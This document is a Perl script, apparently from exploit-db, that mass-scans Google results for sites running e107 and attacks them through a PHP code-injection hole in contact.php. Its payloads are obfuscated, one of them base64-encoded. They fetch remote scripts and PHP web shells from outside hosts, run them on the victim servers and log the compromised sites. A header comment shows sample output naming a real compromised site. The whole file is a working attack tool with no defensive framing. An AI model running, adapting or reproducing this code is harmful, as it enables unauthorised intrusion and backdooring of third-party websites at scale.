- #!/usr/bin/perl
- # Author: skpx
- # e107 mass scanner/shell uploader
- # http://www.exploit-db.com/exploits/12715
- #
- # Change it to whatever
- # passthru() command:
- # echo "tEStVulN";
- # uname -a;
- # php -r '$s=@file_get_contents("http://www.yucatekisimo.com/language/shell.txt");$f=@fopen("help_us.php","w");fputs($f,$s);fclose($f);';
- # echo "TesTvULn"
- #
- # If it prints the uname but not a shell match change the cmd to whatever (wget, curl, etc).
- #
- # http://www.omni-bot.de/e107/contact.php
- # [!] Site vulnerable...
- # Linux corwin 2.6.24-24-server #1 SMP Fri Sep 18 17:24:10 UTC 2009 i686 GNU/Linux
- # [!] PHP Shell: http://www.omni-bot.de/e107/help_us.php
- #
- use strict;
- use warnings;
- use LWP::UserAgent;
- use URI::Escape;
- my @tld = qw { ad ae am as at az ba be bf
- bg bi bj bs ca cat cd cf cg ch ci cl cm cn
- co.bw co.ck co.cr co.id co.il co.in co.jp
- co.ke co.kr co.ls com co.ma com.af com.ag
- com.ai com.ar com.au com.bd com.bh com.bn
- com.bo com.br com.by com.bz com.co com.cu
- com.do com.ec com.eg com.et com.fj com.gh
- com.gi com.gt com.hk com.jm com.kh com.kw
- com.lb com.ly com.mt com.mx com.my com.na
- com.nf com.ng com.ni com.np com.om com.pa
- com.pe com.ph com.pk com.pr com.py com.qa
- com.sa com.sb com.sg com.sl com.sv com.tj
- com.tr com.tw com.ua com.uy com.vc com.vn
- co.mz co.nz co.th co.tz co.ug co.uk co.uz
- co.ve co.vi co.za co.zm co.zw cz de dj dk
- dm dz ee es fi fm fr ga ge gg gl gm gp gr
- gy hn hr ht hu ie im is it it.ao je jo kg
- ki kz la li lk lt lu lv md me mg mk ml mn
- ms mu mv mw ne nl no nr nu pl pn ps pt ro
- rs ru rw sc se sh si sk sm sn st td tg tk
- tl tm to tt vg vu ws };
- my $term = shift;
- my $rand_tld = rand($#tld);
- my $dork = "\"Powered by e107\"+".$tld[$rand_tld];
- my $match = "AtlantiQ";
- my $cmd = "shell_exec(base64_decode(\"d2dldCBodHRwOi8venVvLnBvZGdvcnoub3JnL3p1by9zaGIucGwgLU8gL3RtcC9ibztwZXJsIC90bXAvYm8=\"));";
- my $log = "e107-rce-sites.txt";
- google_search($dork);
- sub google_search {
- # http://www.google.com/supported_domains
- my @tld = qw { ad ae am as at az ba be bf
- bg bi bj bs ca cat cd cf cg ch ci cl cm cn
- co.bw co.ck co.cr co.id co.il co.in co.jp
- co.ke co.kr co.ls com co.ma com.af com.ag
- com.ai com.ar com.au com.bd com.bh com.bn
- com.bo com.br com.by com.bz com.co com.cu
- com.do com.ec com.eg com.et com.fj com.gh
- com.gi com.gt com.hk com.jm com.kh com.kw
- com.lb com.ly com.mt com.mx com.my com.na
- com.nf com.ng com.ni com.np com.om com.pa
- com.pe com.ph com.pk com.pr com.py com.qa
- com.sa com.sb com.sg com.sl com.sv com.tj
- com.tr com.tw com.ua com.uy com.vc com.vn
- co.mz co.nz co.th co.tz co.ug co.uk co.uz
- co.ve co.vi co.za co.zm co.zw cz de dj dk
- dm dz ee es fi fm fr ga ge gg gl gm gp gr
- gy hn hr ht hu ie im is it it.ao je jo kg
- ki kz la li lk lt lu lv md me mg mk ml mn
- ms mu mv mw ne nl no nr nu pl pn ps pt ro
- rs ru rw sc se sh si sk sm sn st td tg tk
- tl tm to tt vg vu ws };
- my $term = shift;
- my $rand_tld = rand($#tld);
- my $inc = 10;
- my $maxpages = 1024;
- my @links;
- for (my $pagenum = 0;$pagenum <= $maxpages;$pagenum += $inc) {
- my $url = "http://www.google.".$tld[$rand_tld]."/search?q=".uri_escape($term)."&num=100&filter=0&start=".$pagenum;
- my $query = send_query($url);
- while ($query =~ m!href="(https?:\/\/[^>"]*)"!g) {
- if ($1 !~ m!(google|googleusercontent)!) {
- my $rawlink = $1;
- my @process=process_links($rawlink);
- push(@links, @process);
- }
- } sleep(2);
- } return @links;
- }
- sub send_query {
- my $url = shift;
- my $ua = LWP::UserAgent->new or die;
- $ua->agent('NULL');
- $ua->timeout(10);
- my $req = HTTP::Request->new(GET => $url);
- my $res = $ua->request($req);
- print $url . "\n";
- return $res->content;
- }
- sub process_links {
- my @links = shift;
- my @xplurl;
- foreach my $inc (@links) {
- $inc =~ s!%3a!:!gi;
- $inc =~ s!%3f!\/!gi;
- if ($inc =~ m!e107_plugins!g) {
- $inc =~ s!(e107_plugins)[^A-Za-z0-9].*$!!g;
- push(@xplurl, $inc);
- } else {
- $inc =~ s!(https?:\/\/[^\/]+\/?)[^\s]+!$1!;
- push(@xplurl,$inc);
- }
- } exploit_host(@xplurl);
- }
- sub exploit_host {
- my @host = shift;
- foreach my $inc (@host) {
- my $ua = LWP::UserAgent->new or die;
- $ua->agent('Mozilla/4.76 [ru] (X11; U; SunOS 5.7 sun4u)');
- $ua->timeout(10);
- my $xpl = $inc . "/contact.php";
- $xpl =~ s/\/\/contact.php/\/contact.php/g;
- my $req = HTTP::Request->new(POST => $xpl);
- $req->content_type('application/x-www-form-urlencoded');
- $req->content("send-contactus=1&author_name=%5Bphp%5D" .$cmd. "%3Bdie%28%29%3B%5B%2Fphp%5D");
- my $res = $ua->request($req);
- print $xpl . "\n";
- my $cont = $res->content;
- if ($cont =~ m!tEStVulN\n(.*)!g) {
- my $uname = $1;
- print "[!] Site vulnerable...\n";
- print $uname . "\n";
- # Write to logfile
- open my $lh, '>>', $log or die $!;
- print $lh "$xpl\n";
- print $lh "$uname\n";
- print $lh "-" x 35 . "\n";
- close $lh or die $!;
- } check_shell($xpl);
- } sleep(1);
- }
- sub check_shell {
- my $gotsh = shift;
- $gotsh =~ s!contact\.php!help_us\.php!;
- my $ua = LWP::UserAgent->new or die;
- $ua->agent('Mozilla/4.76 [ru] (X11; U; SunOS 5.7 sun4u)');
- $ua->timeout(10);
- my $surl = $gotsh;
- my $req = HTTP::Request->new(GET => $surl);
- my $res = $ua->request($req);
- my $cont = $res->content;
- if ($cont =~ m!$match!) {
- print "[!] PHP Shell: " .$surl. "\n";
- # Write to logfile
- open my $lh, '>>', $log or die $!;
- print $lh "$surl\n";
- print $lh "-" x 35 . "\n";
- close $lh or die $!;
- }
- }